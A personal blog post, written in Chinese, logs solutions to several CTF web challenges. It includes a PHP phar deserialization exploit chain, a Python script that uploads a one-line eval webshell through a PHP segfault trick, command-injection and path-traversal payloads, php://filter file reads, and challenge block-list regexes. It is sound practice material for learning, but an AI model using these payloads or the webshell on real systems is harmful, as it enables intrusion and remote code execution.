BUUCTF寒假刷题记录(三)

发布于 2023-03-01  400 次阅读

[SWPUCTF 2018]SimplePHP

  • 文件查看的页面有个file参数,试一试

img

  • 说明通过这个页面得到所有页面的源码
file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

upload.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>
  • 从file.php发现class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

?>
  • 从upload.php发现function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>
  • 从upload.php发现base.php
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
  • 提示flag is in f1ag.php,试了一下直接访问和file读取都不行,得利用这几个php了
  • class.php,看来是反序列化,调用这个show函数,找同名函数
public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
  • 开始找pop,进file_get函数需要进get函数,而需要进get()方法,toString()的renturn可以触发get(),同时它又可以被construct触发,最后C1e4r类的的echo触发show类的to_string就可以了
$q = new C1e4r();
$w=new Show();
$e =new Test();
$w->source=$s;
$w->str['str']=$t;
$q->str=$s;
echo(serialize($c));
  • 最终wp
<?php

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array('source'=>'/var/www/html/f1ag.php');
    }

}
$c = new C1e4r();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
echo(serialize($c));

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类，所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>
  • 上传phar文件,访问即可,但是这里有上传文件的后缀限制,可以修改后缀名后上传访问,是不会影响的

[NPUCTF2020]ezinclude

  • 查看源代码,提示密码是md5加密的用户
  • 抓包发现cookie种有个hash
更改name的值，发现cookie的哈希值不断变化，这表明哈希值与name的取值有关，但不完全是直接对name取md5值，这说明
可能添加了盐。根据提示，md5( s e c r e t . s e c r e t . n a m e ) === p a s s ，我们的哈希值很可能是
md5( pass，secret.$name )。如果将哈希值作为参数传递到cookie中，可能会成功。
  • 先固定name=0,查看hash为2c7aa5d0141182d4920e72b862b9d5e7

img

  • 传入pass=2c7aa5d0141182d4920e72b862b9d5e7成功登录,发现flflflflag.php

img

  • 直接访问被跳转了,burp看一下源码,有个include,可以传入文件名,查看index.php和flflflflag.php的内容
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
    echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
    </script>
';
}else{
    setcookie("Hash",md5($secret.$name),time()+3600000);
    echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
  • 目录扫描扫到dir.php,解码后
<?php
var_dump(scandir('/tmp'));
?>
这行代码是在PHP中使用scandir函数来扫描指定目录（这里是/tmp），并返回一个数组，数组中包含指定目录下的所有文件
和子目录的名称。var_dump用于将返回的数组输出到终端，方便调试和查看扫描结果。
  • 贴一段wp
php7 segment fault特性（CVE-2018-14884）

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的
垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件
很快就会被删除，这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启，如果在同时上传了一个文件，那么这个tmp file就会
一直留在tmp目录，知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时
，让PHP异常崩溃退出，POST的临时文件就会被保留，临时文件会被保存在upload_tmp_dir所指定的目录下，默认为tmp文
件夹。

该方法仅适用于以下php7版本，php5并不存在该崩溃。

利用条件：

    php7.0.0-7.1.2可以利用， 7.1.2x版本的已被修复
    php7.1.3-7.2.1可以利用， 7.2.1x版本的已被修复
    php7.2.2-7.2.8可以利用， 7.2.9一直到7.3到现在的版本已被修复
    可以获取文件名
    源代码将GET参数进行文件包含
————————————————
版权声明：本文为CSDN博主「yym68686」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/weixin_45646006/article/details/120817553
  • 看不懂,,但是脚本还是会用的,这个脚本可以实现上述的php崩溃清空堆栈重启，同时上传了一个文件,来源:https://www.shawroot.cc/1159.html
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[shaw]);?>"
#BytesIO(payload.encode()).getvalue()
data={
   'file': BytesIO(payload.encode())
}
url="http://c707289b-9d30-45b1-8ce7-8c5498df7acd.node3.buuoj.cn/flflflflag.php?
file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
   r=requests.post(url=url,files=data,allow_redirects=False)
except:
        print("fail!")
  • 只不过不明白为什么这里是resource=/etc/passwd,别的目录不行吗?
  • flag在phpinfo里,使用dir.php找到上传文件,然后访问即可执行phpinfo()

[hgame2023] Classic Childhood Game

  • 一个js游戏题目,之前做过两次,一次是设置断点修改js判定直接得到flag,一次是jsfinder查找隐藏信息,这次就是一点一点看了
  • 还好,不用纯粹看代码,function.js里面有大量中文提示,找到通关的提示,后面有个mota()的函数,搜索这个函数
function mota() {
  var a = ['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'];
  (function (b, e) {
    var f = function (g) {
      while (--g) {
        b['push'](b['shift']());
      }
    };
    f(++e);
  }(a, 0x198));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['CFrzVf'] === undefined) {
      (function () {
        var g;
        try {
          var i = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
          g = i();
        } catch (j) {
          g = window;
        }
        var h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        g['atob'] || (g['atob'] = function (k) {
          var l = String(k)['replace'](/=+$/, '');
          var m = '';
          for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
            p = h['indexOf'](p);
          }
          return m;
        });
      }());
      b['fqlkGn'] = function (g) {
        var h = atob(g);
        var j = [];
        for (var k = 0x0, l = h['length']; k < l; k++) {
          j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);
        }
        return decodeURIComponent(j);
      };
      b['iBPtNo'] = {};
      b['CFrzVf'] = !![];
    }
    var f = b['iBPtNo'][c];
    if (f === undefined) {
      e = b['fqlkGn'](e);
      b['iBPtNo'][c] = e;
    } else {
      e = f;
    }
    return e;
  };
  alert(atob(b('\x30\x78\x30')));
}
  • 控制台运行即可
hgame{fUnnyJavascript&FunnyM0taG4me}

[hgame2023]Become A Member

  • 好迷啊,直接卡死了,原来是改ua
User-Agent: Cute-Bunny
  • 然后就是老套路了,referer,XFF和cookie
Cookie: code=Vidar;
Referer: bunnybunnybunny.com
X-Forwarded-For: 127.0.0.1
  • 得到flag
hgame{H0w_ArE_Y0u_T0day?}

[hgame2023]Show Me Your Beauty

  • 文件上传漏洞,后缀改成PHP即可

[GKCTF 2021]easycms

  • 4件套找到admin.php

img

  • 本来想试一试弱口令爆破,但是网上说原题目有提示密码5位,只是buu没有,那就猜几个
admin 12345 正确
  • 纯纯模板漏洞,网上一查蝉枝模板漏洞就有了

img

  • 设计->高级本来可以编辑页面代码

img

  • 但是会提示修改个文件

img

  • 接下来绕过,在微信这里创个公众号,文件名填自己的

img

  • 然后再回去就能编辑了

img

img

  • 访问一下index.php就行了

img

EasyBypass

<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
  • 没有过滤tac,没有过滤通配符,直接
?comm1=index.php";tac /f*;"
  • ?src=1得到源码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

[HCTF 2018]Warmup

  • 查看源码,发现一个source.php

img

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
  • 读hint.php的内容可以得到flag的位置

img

  • mb_strpos(): 返回要查找的字符串在别一个字符串中首次出现的位置。 mb_strpos (a ,b) a:被检查的字符串 b:要搜索的字符串 返回的是字符首次出现的位置，返回值为数字。如果查找字符串不存在，则返回false

    mb_substr()： 函数返回字符串的一部分。mb_substr("abcdefg", 0, 2); 返回值为ab。类似于substr()

  • 函数传参时查找第一个问号,并且匹配后面的内容,注意第一个?file的?不是file参数的?字符串而是request传参记号,不会被函数处理

  • ?file=hint.php?/../../../../ffffllllaaaagggg

img

[ACTF2020新生赛]include

  • 观察地址栏存在file传参,伪协议读取一下,成功拿到flag
?file=php://filter/read=convert.base64-encode/resource=flag.php

img

[ACTF2020新生赛]Exec

  • 有个ping,应该是lfi,试试whoami

img

  • ls没找到flag,用分号间隔命令穿越到根目录看看127.0.0.1;cd /;ls;成功找到flag

img

  • cat /flag得到flag
届ける言葉を今は育ててる
最后更新于 2024-02-07
啥也没有呀